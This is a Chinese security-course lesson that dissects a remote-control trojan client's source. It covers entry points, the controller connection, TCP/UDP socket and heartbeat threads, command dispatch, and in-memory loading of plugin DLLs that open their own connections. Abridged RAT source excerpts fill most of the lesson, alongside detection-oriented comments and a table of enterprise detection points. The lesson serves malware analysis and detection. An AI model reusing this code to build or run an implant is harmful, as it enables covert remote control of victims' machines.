第 20 课:被控线程结构与网络连接结构
# 第 20 课:被控线程结构与网络连接结构
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课只从源码审计、线程建模、网络连接识别和企业检测角度解释被控端结构,不提供未授权使用、攻击复现、投递部署或规避检测步骤。
前面第 18 课讲了 shellcode 如何把上线模块带入运行期,第 19 课讲了五个生成选项如何进入配置。现在补一课专门看“被控启动后到底有几条线程、几条连接、哪些回调在接命令”。
这节课的核心结论是:
EXE / DLL / shellcode
-> 上线模块 MainThread
-> 请求并加载登录模块
-> 登录模块 MainThread
-> CLoginManager 接收基础命令
-> 如果主控请求功能插件,再加载插件 DLL
-> 插件导出 Main 创建插件自己的 MainThread
-> 插件再建立一条新的 TCP/UDP 连接
2
3
4
5
6
7
8
因此,不启用功能插件时,重点看“上线连接 + 登录连接 + HPSocket 内部线程”;启用功能插件后,要额外看到“基础登录连接 + 插件独立连接”同时存在。
# 1. 本课学习目标
| 问题 | 本课回答 |
|---|---|
| 被控启动后最基础的线程结构是什么 | EXE、DLL、shellcode 最终都汇入上线模块 MainThread |
| 不启用插件时有几类连接 | 先有上线模块连接,再有登录模块长期连接,不再创建功能插件连接 |
| TCP 和 UDP 内部线程有什么差异 | TCP 主要是接收线程 + 心跳线程;UDP 还有内部工作线程、握手事件和心跳线程 |
CLoginManager 怎么收到主控命令 | CManager::CManager 调用 setManagerCallBack(this),HPSocket 收完整包后回调 OnReceive |
| 启用插件后为什么会多一条连接 | 登录模块加载插件 DLL 后调用插件导出 Main,插件自己的 MainThread 重新 Connect |
| 企业侧应该看什么 | 线程入口、回调绑定、基础连接、插件连接、心跳、内存加载和注册表缓存 |

# 2. 涉及源码
| 文件 | 本课关注点 |
|---|---|
主插件\上线模块\上线模块\上线模块.cpp | 多入口汇入上线模块 MainThread,建立上线连接并创建 CKernelManager |
主插件\上线模块\上线模块\KernelManager.cpp | 接收登录模块版本/数据,启动 Loop_DllManager 加载登录模块 |
主插件\登录模块\登录模块\登录模块.cpp | 登录模块 MainThread,创建 CLoginManager、登录、激活和事件循环 |
主插件\登录模块\登录模块\LoginManager.cpp | CLoginManager::OnReceive、插件请求、插件数据接收和 Loop_DllManager |
主插件\HPSocket\Manager.cpp | CManager::CManager 把 Manager 绑定到 socket 回调 |
主插件\HPSocket\TcpSocket.cpp | TCP 接收线程、心跳线程、解包后回调 Manager |
主插件\HPSocket\UdpSocket.cpp | UDP 内部工作线程、握手事件、心跳线程、解包后回调 Manager |
主插件\文件管理\文件管理\文件管理.cpp | 典型功能插件导出 Main 后再创建插件连接 |
# 3. 基础线程结构:入口很多,主线只有一条
上线模块有 EXE 入口、DLL 入口、导出函数和 shellcode 调用的 load 入口。入口形式不同,但它们的归宿都是 MainThread。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:332-341
// 防御分析注释:
// 1. EXE 形态进入 _tmain 后先执行 Analyze,解析内嵌配置和可能的注册表覆盖。
// 2. 真正长期运行的逻辑不在 _tmain 里,而是 CreateThread 启动的 MainThread。
// 3. 企业侧看进程启动时,线程起始地址落在上线模块 MainThread 是第一层线索。
int _tmain(int argc, _TCHAR* argv[])
{
Analyze();
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:350-369
// 防御分析注释:
// 1. DLL 形态在 DLL_PROCESS_ATTACH 分支检查配置长度。
// 2. RunDllEntryProc 决定是否在 DLL 入口阶段启动 MainThread。
// 3. 在 DLL 入口中创建并等待长期线程,是主机侧可以关联的异常加载行为。
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
if (lstrlen(confi) > 30)
{
Analyze();
if (MyInfo.otherset.RunDllEntryProc)
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
}
}
return TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:400-405
// 防御分析注释:
// 1. load(TCHAR* code) 是 shellcode 场景常见入口:外部把配置传入 code。
// 2. 该函数复制配置后仍然执行 Analyze,并创建同一个 MainThread。
// 3. 所以 EXE、DLL、shellcode 不应被看成三套行为模型,应统一归并到 MainThread。
extern "C" __declspec(dllexport) void load(TCHAR* code)
{
memcpy(confi, code, lstrlen(code) * 2 + 2);
Analyze();
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
}
2
3
4
5
6
7
8
9
10
11
这就是被控端第一层结构:启动方式不同,最终都把配置交给上线模块,由上线模块建立第一条连接并请求登录模块。
# 4. 不启用功能插件时:上线连接与登录连接
不启用功能插件,不代表没有网络连接。基础结构至少包括两段:
| 阶段 | 连接角色 | 管理器 | 主要作用 |
|---|---|---|---|
| 上线模块阶段 | 第一段连接 | CKernelManager | 请求登录模块版本和数据,加载登录模块 |
| 登录模块阶段 | 长期基础连接 | CLoginManager | 上报登录信息,等待激活,接收基础命令、心跳和状态请求 |
| 功能插件阶段 | 不创建 | 无 | 没有文件、屏幕、音频等插件自己的连接 |
上线模块的 MainThread 会根据配置选择 TCP 或 UDP,然后创建 CKernelManager。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:189-255
// 防御分析注释:
// 1. ptcp 和 pudp 在 MainThread 中同时准备,真正使用哪一个由 IsTcp 字段决定。
// 2. Connect 成功后创建 CKernelManager,它继承 CManager,因此会绑定 socket 回调。
// 3. TOKEN_GETVERSION 是上线模块请求登录模块版本的起点。
// 4. run_event_loop 会等待 socket 层结束,不是业务层主动轮询命令。
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
Sleep(_ttoi(MyInfo.szRunSleep) * 1000);
ISocketBase* socketClient = NULL;
void* ptcp = new CTcpSocket;
void* pudp = new CUdpSocket;
socketClient = (IsTcp == 1) ? (ISocketBase*)ptcp : (ISocketBase*)pudp;
if (!socketClient->Connect(szAddress, _ttoi(szPort)))
continue;
CKernelManager manager(socketClient, MyInfo.otherset.puppet);
BYTE Token[2] = {};
Token[0] = TOKEN_GETVERSION;
socketClient->Send(Token, 2);
socketClient->run_event_loop();
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
登录模块被加载后,会进入自己的 MainThread。它不再请求登录模块,而是创建 CLoginManager,发送登录信息,等待主控返回激活令牌。
// 源码位置:主插件\登录模块\登录模块\登录模块.cpp:181-298
// 防御分析注释:
// 1. 登录模块也会准备 CTcpSocket 和 CUdpSocket,再按 IsTcp 选择。
// 2. CLoginManager 保存当前连接地址、端口和协议,后续插件也会继承这些参数。
// 3. sendLoginInfo 是登录首包发送点,包含主机画像和运行状态信息。
// 4. manager.IsActived() 等待 TOKEN_ACTIVED;激活后进入 run_event_loop 接收后续命令。
DWORD WINAPI MainThread()
{
void* ptcp = new CTcpSocket;
void* pudp = new CUdpSocket;
socketClient = (IsTcp == 1) ? (ISocketBase*)ptcp : (ISocketBase*)pudp;
if (!socketClient->Connect(szAddress, _ttoi(szPort)))
continue;
CLoginManager manager(socketClient, szAddress, _ttoi(szPort), IsTcp, MyInfo.otherset.special);
if (sendLoginInfo(socketClient, Time, MyInfo.otherset.special) == -1)
{
socketClient->Disconnect();
continue;
}
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
Sleep(1000);
if (!manager.IsActived())
{
socketClient->Disconnect();
continue;
}
socketClient->run_event_loop();
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
没有功能插件时,CLoginManager 仍然会接收基础命令。例如激活、心跳、状态上报、复制/转移客户等都在登录模块处理。区别在于不会进入“插件 DLL 加载后再开连接”的阶段。
# 5. CManager 如何把 socket 收包回调绑定到具体 Manager
这是理解命令如何到达 CLoginManager::OnReceive 的关键。
CLoginManager 和 CKernelManager 都继承自 CManager。构造具体 Manager 时,基类构造函数会把 this 注册到当前 socket。
// 源码位置:主插件\HPSocket\Manager.cpp:12-19
// 防御分析注释:
// 1. pClient 是当前 TCP 或 UDP socket 对象,类型通过 ISocketBase 抽象。
// 2. setManagerCallBack(this) 把当前 Manager 写入 socket 的 m_pManager。
// 3. 后续网络层解出完整业务包后,会调用 m_pManager->OnReceive。
// 4. 因此 CLoginManager::OnReceive 是网络回调触发,不是 MainThread 主动轮询。
CManager::CManager(ISocketBase* pClient)
{
m_pClient = pClient;
m_pClient->setManagerCallBack(this);
m_hEventDlgOpen = CreateEventA(NULL, true, false, NULL);
bStop = FALSE;
}
2
3
4
5
6
7
8
9
10
11
12
13
TCP 和 UDP 都只是保存这个回调指针。
// 源码位置:主插件\HPSocket\TcpSocket.cpp:310-312
// 防御分析注释:
// 1. TCP socket 保存业务 Manager 指针。
// 2. 这里不区分是 CKernelManager、CLoginManager 还是某个插件 Manager。
// 3. 真正的业务分发由对应 Manager 的 OnReceive 实现决定。
void CTcpSocket::setManagerCallBack(CManager* pManager)
{
m_pManager = pManager;
}
2
3
4
5
6
7
8
9
// 源码位置:主插件\HPSocket\UdpSocket.cpp:840-842
// 防御分析注释:
// 1. UDP socket 也保存同样的 Manager 指针。
// 2. 这让 TCP/UDP 在业务层看起来一致:完整包最终都会交给 OnReceive。
void CUdpSocket::setManagerCallBack(CManager* pManager)
{
m_pManager = pManager;
}
2
3
4
5
6
7
8
解出完整包以后,socket 层才进入具体 Manager。
// 源码位置:主插件\HPSocket\TcpSocket.cpp:275-300
// 防御分析注释:
// 1. TCP OnReceive 先把 recv 得到的片段写入 m_CompressionBuffer。
// 2. 包头前 4 字节是长度,后面 10 字节和 m_password 比较。
// 3. 解出业务数据后调用 m_pManager->OnReceive,进入 CLoginManager 或 CKernelManager。
// 4. 企业侧可把固定包头、心跳和 Manager 回调作为协议侧关联特征。
bool CTcpSocket::OnReceive(const BYTE* pData, int iLength)
{
m_CompressionBuffer.Write((LPBYTE)pData, iLength);
if (nSize && (int)m_CompressionBuffer.GetBufferLen() >= nSize)
{
activetime = timeGetTime();
m_DeCompressionBuffer.Write(m_CompressionBuffer.GetBuffer(14), nSize - 14, 1, m_password);
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
m_CompressionBuffer.Delete(nSize);
}
return true;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
UDP 的业务回调也是同一模式。
// 源码位置:主插件\HPSocket\UdpSocket.cpp:789-814
// 防御分析注释:
// 1. UDP 先通过 ARQ/KCP 类逻辑把数据组织成可靠消息,再进入 OnReceive。
// 2. 解包结构仍然是长度 + 10 字节校验字段 + 加密/压缩后的业务数据。
// 3. 业务层同样只看到 m_pManager->OnReceive,不直接关心底层 TCP/UDP 差异。
EnHandleResult CUdpSocket::OnReceive(CUdpSocket* pSender, const BYTE* pData, int iLength)
{
m_CompressionBuffer.Write((LPBYTE)pData, iLength);
if (nSize && (int)m_CompressionBuffer.GetBufferLen() >= nSize)
{
activetime = timeGetTime();
m_DeCompressionBuffer.Write(m_CompressionBuffer.GetBuffer(14), nSize - 14, 1, m_password);
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
m_CompressionBuffer.Delete(nSize);
}
return HR_OK;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 6. TCP 与 UDP 的内部线程差异

# 6.1 TCP:接收线程 + 心跳线程
TCP 连接成功后,CTcpSocket::Connect 创建两个线程:
WorkThread:阻塞在select/recv,收到数据后进入CTcpSocket::OnReceive。ThreadHeartbeat:周期发送TOKEN_HEARTBEAT,并根据activetime判断连接是否失活。
// 源码位置:主插件\HPSocket\TcpSocket.cpp:120-123
// 防御分析注释:
// 1. m_hWorkerThread 是 TCP 接收线程,入口为 WorkThread。
// 2. m_hThreadHeartWorker 是 TCP 心跳线程,入口为 ThreadHeartbeat。
// 3. 看到同一连接旁边出现这两个线程,是识别 TCP 基础连接的重要结构线索。
InterlockedExchange((LPLONG)&m_bIsRunning, TRUE);
UINT dwThreadId = 0;
m_hWorkerThread = (HANDLE)_beginthreadex(NULL, 0, WorkThread, (CTcpSocket*)this, 0, &dwThreadId);
UINT nThreadID;
m_hThreadHeartWorker = (HANDLE)_beginthreadex(NULL, 0, ThreadHeartbeat, (void*)this, 0, &nThreadID);
2
3
4
5
6
7
8
9
10
// 源码位置:主插件\HPSocket\TcpSocket.cpp:129-166
// 防御分析注释:
// 1. WorkThread 等待 socket 可读,然后 recv 数据。
// 2. recv 到的数据还不是业务命令,要经过 CTcpSocket::OnReceive 拼包和解包。
// 3. Disconnect 会设置事件,run_event_loop 随后等待两个线程退出。
unsigned CTcpSocket::WorkThread(LPVOID lparam)
{
CTcpSocket* pThis = reinterpret_cast<CTcpSocket*>(lparam);
while (pThis->m_bIsRunning)
{
nRet = select(NULL, &fdRead, NULL, NULL, NULL);
nSize = recv(pThis->m_Socket, buff, MAX_RECV_BUFFER, 0);
if (nSize > 0)
pThis->OnReceive((LPBYTE)buff, nSize);
}
return -1;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 源码位置:主插件\HPSocket\TcpSocket.cpp:174-193
// 防御分析注释:
// 1. 心跳线程发送 TOKEN_HEARTBEAT,形成固定节奏的小包。
// 2. activetime 由收包逻辑更新,超过阈值会断开连接。
// 3. 检测时不要只看一条连接,还要把连接旁边的心跳线程和小包节奏关联起来。
unsigned CTcpSocket::ThreadHeartbeat(LPVOID thisContext)
{
CTcpSocket* pThis = reinterpret_cast<CTcpSocket*>(thisContext);
BYTE Token = TOKEN_HEARTBEAT;
while (pThis->m_bIsRunning)
{
Sleep(10000);
pThis->Send(&Token, 1);
if (timeGetTime() - pThis->activetime > 60000)
pThis->Disconnect();
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 6.2 UDP:内部工作线程 + 握手事件 + 心跳线程
UDP 不是简单 sendto/recvfrom。这里使用 ARQ/KCP 风格的可靠传输结构:Start 创建内部工作线程,工作线程等待 socket 事件、发送缓冲、停止事件和定时器事件。
// 源码位置:主插件\HPSocket\UdpSocket.cpp:44-52
// 防御分析注释:
// 1. ConnectToServer 成功后,Start 创建 m_hWorker 内部工作线程。
// 2. WorkerThreadProc 处理网络事件、发送队列、停止事件和 ARQ 定时检查。
// 3. 这条线程不是业务 Manager 线程,而是 UDP 可靠传输层的内部线程。
if (ConnectToServer(lpszRemoteAddress, usPort))
{
m_hWorker = (HANDLE)_beginthreadex(nullptr, 0, WorkerThreadProc, (LPVOID)this, 0, &m_dwWorkerID);
if (m_hWorker)
{
isOK = TRUE;
m_evWait.Reset();
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
// 源码位置:主插件\HPSocket\UdpSocket.cpp:143-204
// 防御分析注释:
// 1. WorkerThreadProc 使用 WSAWaitForMultipleEvents 等待多类事件。
// 2. 网络事件进入 ProcessNetworkEvent,数据发送进入 SendData,定时器进入 m_arqSession.Check。
// 3. 这解释了为什么 UDP 场景会比 TCP 多一层内部工作结构。
UINT WINAPI CUdpSocket::WorkerThreadProc(LPVOID pv)
{
CUdpSocket* pClient = (CUdpSocket*)pv;
::SetWaitableTimer(pClient->m_hTimer, &pClient->lpDueTime, pClient->m_arqAttr.dwFlushInterval, nullptr, nullptr, FALSE);
while (pClient->HasStarted())
{
DWORD retval = ::WSAWaitForMultipleEvents(dwSize, hEvents, FALSE, WSA_INFINITE, FALSE);
if (retval == WSA_WAIT_EVENT_0)
pClient->ProcessNetworkEvent();
else if (retval == WSA_WAIT_EVENT_0 + 1)
pClient->SendData();
else if (retval == WSA_WAIT_EVENT_0 + 4)
pClient->m_arqSession.Check();
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
UDP 连接还会等握手事件。OnHandShake 设置 m_hEvent_run 后,CUdpSocket::Connect 才创建心跳线程并返回连接成功。
// 源码位置:主插件\HPSocket\UdpSocket.cpp:652-679
// 防御分析注释:
// 1. Connect 调用 Start 后等待 m_hEvent_run,最长等待 6000 ms。
// 2. m_hEvent_run 由 OnHandShake 设置,表示 UDP 可靠通道握手完成。
// 3. 握手完成后才创建 ThreadHeartbeat,所以 UDP 连接结构是“工作线程 -> 握手 -> 心跳线程”。
bool CUdpSocket::Connect(LPCTSTR lpszHost, UINT nPort)
{
BOOL ret = Start(lpszHost, nPort);
DWORD dw = WaitForSingleObject(m_hEvent_run, 6000);
if (dw == WAIT_OBJECT_0)
{
InterlockedExchange((LPLONG)&m_bIsRunning, TRUE);
m_hThreadHeartWorker = (HANDLE)_beginthreadex(NULL, 0, ThreadHeartbeat, (void*)this, 0, &nThreadID);
return true;
}
return false;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 源码位置:主插件\HPSocket\UdpSocket.cpp:823-827
// 防御分析注释:
// 1. OnHandShake 是 UDP 连接从底层建立进入业务可用状态的边界。
// 2. 它设置 m_hEvent_run,让 Connect 继续创建心跳线程。
// 3. 企业侧做线程时间线时,可把 UDP 工作线程、握手事件和心跳线程分开标注。
EnHandleResult CUdpSocket::OnHandShake(CUdpSocket* pSender, CONNID dwConnID)
{
SetEvent(m_hEvent_run);
InterlockedExchange((LPLONG)&m_bIsRunning, TRUE);
return HR_OK;
}
2
3
4
5
6
7
8
9
10
11
# 7. CLoginManager::OnReceive 如何接收主控命令
登录模块连接建立并激活后,主控命令会通过 HPSocket 解包回调进入 CLoginManager::OnReceive。基础命令和插件命令都从这里分流。
// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:213-242
// 防御分析注释:
// 1. lpBuffer[0] 是登录模块看到的命令或令牌。
// 2. TOKEN_ACTIVED 表示基础登录连接被主控确认,随后会请求自动插件信息。
// 3. COMMAND_DLLMAIN 是功能插件加载链的入口,但是否继续加载取决于主控是否下发插件请求。
void CLoginManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case TOKEN_ACTIVED:
{
if (m_bIsActived) return;
InterlockedExchange((LONG*)&m_bIsActived, TRUE);
BYTE lpPacket = TOKEN_GETAUTODLL;
Send((LPBYTE)&lpPacket, 1);
}
break;
case COMMAND_DLLMAIN:
{
// 插件元数据处理逻辑,后续可能进入 Loop_DllManager。
}
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
心跳也会进入同一个 OnReceive,只是分支不同。
// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:641-648
// 防御分析注释:
// 1. TOKEN_HEARTBEAT 到达 CLoginManager 后会触发 SendCondition。
// 2. 这说明心跳不是单纯保活,也可能带动状态上报。
// 3. 检测时应把心跳小包和随后的状态采集/发送关联起来,而不是孤立看网络包。
case TOKEN_HEARTBEAT:
{
if (lpBuffer[1] == 0)
SendCondition(false);
else
SendCondition(true);
}
break;
2
3
4
5
6
7
8
9
10
11
12
13
# 8. 启用插件时:基础连接 + 插件连接

主控请求功能插件后,登录模块不会直接在基础连接里执行所有功能。它会加载插件 DLL,调用插件导出 Main,插件再创建自己的 MainThread 和自己的 socket 连接。
插件元数据分支 COMMAND_DLLMAIN 的关键点是:如果本地已有插件数据,就直接启动 Loop_DllManager;如果没有,就发送 TOKEN_SENDLL 请求插件数据。
// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:242-308
// 防御分析注释:
// 1. COMMAND_DLLMAIN 表示主控正在请求某个功能插件。
// 2. 已缓存插件会直接启动 Loop_DllManager;未缓存插件会请求 COMMAND_SENDLL 对应的数据。
// 3. 这里的重点不是如何获得插件,而是“基础登录连接开始触发插件加载链”。
case COMMAND_DLLMAIN:
{
DllSendData* pDllSendData = new DllSendData;
::memcpy(pDllSendData, lpBuffer + 1, sizeof(DllSendData));
for (std::vector<DllData*>::iterator it = g_vecDllDatas.begin(); it != g_vecDllDatas.end(); )
{
if (_tcscmp((*it)->m_sendDllData->szDllName, pDllSendData->szDllName) == 0)
{
(*it)->m_strMasterHost = m_strMasterHost;
(*it)->m_nMasterPort = m_nMasterPort;
(*it)->m_bIsTcp = m_bIsTcp;
(*it)->m_CLoginManager = this;
HANDLE hWorker = (HANDLE)_beginthreadex(NULL, 0, Loop_DllManager, (void*)(*it), 0, NULL);
CloseHandle(hWorker);
return;
}
++it;
}
lpBuffer = new BYTE[sizeof(DllSendData) + 1];
lpBuffer[0] = TOKEN_SENDLL;
Send((LPBYTE)lpBuffer, sizeof(DllSendData) + 1);
}
break;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
收到插件数据后,登录模块把插件数据放进内存结构和注册表缓存,然后启动 Loop_DllManager。
// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:314-364
// 防御分析注释:
// 1. COMMAND_SENDLL 的数据来自基础登录连接。
// 2. dllDataSize 决定后续内存分配和拷贝大小,是稳定性和安全风险点。
// 3. pDllData 保存插件二进制数据、插件元数据和当前基础连接上下文。
// 4. Loop_DllManager 是插件 DLL 进入内存加载和导出 Main 调用的边界。
case COMMAND_SENDLL:
{
DllSendData* temp = new DllSendData;
::memcpy(temp, lpBuffer + 1, sizeof(DllSendData));
BYTE* pPluginDllShellcodeData = new BYTE[temp->dllDataSize];
::memcpy(pPluginDllShellcodeData, lpBuffer + 1 + sizeof(DllSendData), temp->dllDataSize);
DllData* pDllData = new DllData;
pDllData->m_sendDllData = temp;
pDllData->m_pDllData = pPluginDllShellcodeData;
pDllData->m_strMasterHost = m_strMasterHost;
pDllData->m_nMasterPort = m_nMasterPort;
pDllData->m_bIsTcp = m_bIsTcp;
pDllData->m_CLoginManager = this;
HANDLE hWorker = (HANDLE)_beginthreadex(NULL, 0, Loop_DllManager, (void*)pDllData, 0, NULL);
CloseHandle(hWorker);
}
break;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Loop_DllManager 负责内存加载插件 DLL,并查找导出函数 Main。
// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:11-43
// 防御分析注释:
// 1. pDllData->m_pDllData 是插件 DLL 数据,来源于缓存或 COMMAND_SENDLL。
// 2. Release 分支使用 MemoryLoadLibrary 做内存 PE 加载。
// 3. MemoryGetProcAddress 查找导出函数 Main。
// 4. 调用 Main 时传入基础登录连接的 ip、port、istcp,但插件会自己再建新连接。
unsigned int __stdcall Loop_DllManager(void* pVoid)
{
DllData* pDllData = (DllData*)pVoid;
typedef void (*DLLMain)(TCHAR* ip, DWORD port, BOOL istcp, BOOL RunDllEntryProc);
DLLMain lpproc;
HMEMORYMODULE hDllModule = ::MemoryLoadLibrary(
pDllData->m_pDllData,
pDllData->m_sendDllData->dllDataSize);
lpproc = (DLLMain)MemoryGetProcAddress(hDllModule, "Main");
if (lpproc != NULL)
{
(*lpproc)(
pDllData->m_strMasterHost,
pDllData->m_nMasterPort,
pDllData->m_bIsTcp,
false);
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
这一步之后,结构就从“只有基础登录连接”变成“基础登录连接 + 插件连接”。

# 9. 典型插件入口:插件 Main 再创建一条连接
以文件管理插件为例,登录模块调用它的导出 Main 后,它把传入的地址、端口和协议写入自己的 MyInfo,再创建插件自己的 MainThread。
// 源码位置:主插件\文件管理\文件管理\文件管理.cpp:167-174
// 防御分析注释:
// 1. Main 是登录模块 Loop_DllManager 查找并调用的插件导出函数。
// 2. ip、port、IsTcp 来自登录模块基础连接上下文。
// 3. 插件没有复用 CLoginManager 的 socket,而是创建自己的 MainThread。
// 4. 因此插件启用后,企业侧会看到同一进程内新增一条插件连接。
extern "C" __declspec(dllexport) bool Main(TCHAR* ip, DWORD port, BOOL IsTcp, BOOL RunDllEntryProc)
{
_tcscpy_s(MyInfo.szAddress, ip);
MyInfo.szPort = port;
MyInfo.IsTcp = IsTcp;
MyInfo.RunDllEntryProc = RunDllEntryProc;
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
插件 MainThread 再根据协议创建新的 socket,连接成功后创建自己的功能 Manager。
// 源码位置:主插件\文件管理\文件管理\文件管理.cpp:27-38
// 防御分析注释:
// 1. 插件 MainThread 根据 MyInfo.IsTcp 重新选择 CTcpSocket 或 CUdpSocket。
// 2. Connect 是插件自己的连接,不是登录模块 CLoginManager 的基础连接。
// 3. CFileManager 继承 CManager,构造时也会把自己绑定到新 socket 的回调。
// 4. 所以每个功能插件都有“插件 socket -> 插件 Manager -> 插件 OnReceive”的独立链路。
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
ISocketBase* socketClient;
if (MyInfo.IsTcp == 1)
socketClient = new CTcpSocket();
else
socketClient = new CUdpSocket();
if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
{
CFileManager manager(socketClient);
socketClient->run_event_loop();
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
这就是为什么打开文件管理、系统管理、屏幕类、音频类等功能时,不能只盯着登录模块那条连接。基础连接负责登录、激活、插件调度和状态;插件连接负责具体功能的数据交互。
# 10. 三种结构放在一起看
| 场景 | 线程结构 | 连接结构 | Manager |
|---|---|---|---|
| 上线模块阶段 | 上线 MainThread + TCP/UDP 内部线程 | 第一段上线连接 | CKernelManager |
| 不启用功能插件 | 登录 MainThread + TCP/UDP 内部线程 | 登录基础连接 | CLoginManager |
| 启用功能插件 | 登录线程仍在,插件新增 MainThread + 内部线程 | 基础连接 + 插件连接 | CLoginManager + 插件 Manager |
从防御分析角度,最重要的是把连接角色分清楚:
- 上线连接:用于请求和加载登录模块,通常更靠近启动阶段。
- 登录基础连接:用于主机画像、激活、心跳、状态和插件调度。
- 插件连接:由插件导出
Main创建,用于具体功能插件的数据流。
# 11. 企业检测点
| 观察面 | 检测点 | 关联方式 |
|---|---|---|
| 线程 | MainThread、WorkThread、ThreadHeartbeat、WorkerThreadProc、Loop_DllManager | 关联模块加载时间、线程起始地址和网络连接建立时间 |
| 网络 | 上线连接、登录基础连接、插件新增连接 | 观察同一进程内连接数量、协议、目标一致性和时间顺序 |
| 回调 | setManagerCallBack(this) 后的 m_pManager->OnReceive | 还原“socket 收包 -> Manager 分发”的真实命令入口 |
| TCP | recv -> CTcpSocket::OnReceive -> Manager::OnReceive | 结合固定包头、心跳小包和连接超时断开 |
| UDP | WorkerThreadProc -> OnHandShake -> ThreadHeartbeat -> CUdpSocket::OnReceive | 区分 UDP 内部工作线程、握手事件和业务回调 |
| 插件加载 | COMMAND_DLLMAIN、COMMAND_SENDLL、MemoryLoadLibrary、MemoryGetProcAddress("Main") | 关联注册表缓存、内存 PE、插件线程和新增插件连接 |
| 注册表 | HKCU\Console\0/1 插件缓存和 IpDate 类配置覆盖 | 与网络下载、内存加载和连接目标变化放在同一时间线 |
一个稳定的企业侧判断思路是:不要只用单个 IP、单个线程或单个 API 下结论,而是把“入口线程、socket 回调、心跳、登录激活、插件加载、新增连接”串成时序证据。
# 12. 合法练习题
- 只做静态阅读:把
上线模块.cpp中_tmain、DllMain、load、run到MainThread的路径画出来。 - 对照
TcpSocket.cpp和UdpSocket.cpp,列出 TCP 与 UDP 在线程、握手和心跳上的差异。 - 阅读
Manager.cpp,说明setManagerCallBack(this)为什么是理解CLoginManager::OnReceive的关键。 - 不运行任何样本:从
LoginManager.cpp中整理TOKEN_ACTIVED -> TOKEN_GETAUTODLL -> COMMAND_DLLMAIN -> Loop_DllManager的调用链。 - 以
文件管理.cpp为例,说明插件导出Main为什么会导致新增一条插件连接。 - 站在企业检测角度,写一段时序描述:同一进程从登录基础连接发展到插件连接时,主机和网络日志应如何关联。
# 13. 本课小结
被控端不是一条简单连接。启动入口先汇入上线模块 MainThread,上线模块建立第一段连接并加载登录模块;登录模块再建立长期基础连接,由 CLoginManager 通过 socket 回调接收命令;当主控请求功能插件时,CLoginManager::OnReceive 触发 Loop_DllManager,插件 DLL 被加载后调用导出 Main,插件自己的 MainThread 又创建新的 TCP/UDP 连接。
把这条结构看清楚,后面读第 21 课上线模块、第 22 课登录模块和各功能插件时,就能区分“基础连接”和“插件连接”,也能把线程、心跳、回调、内存加载和网络行为串成企业侧可验证的证据链。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言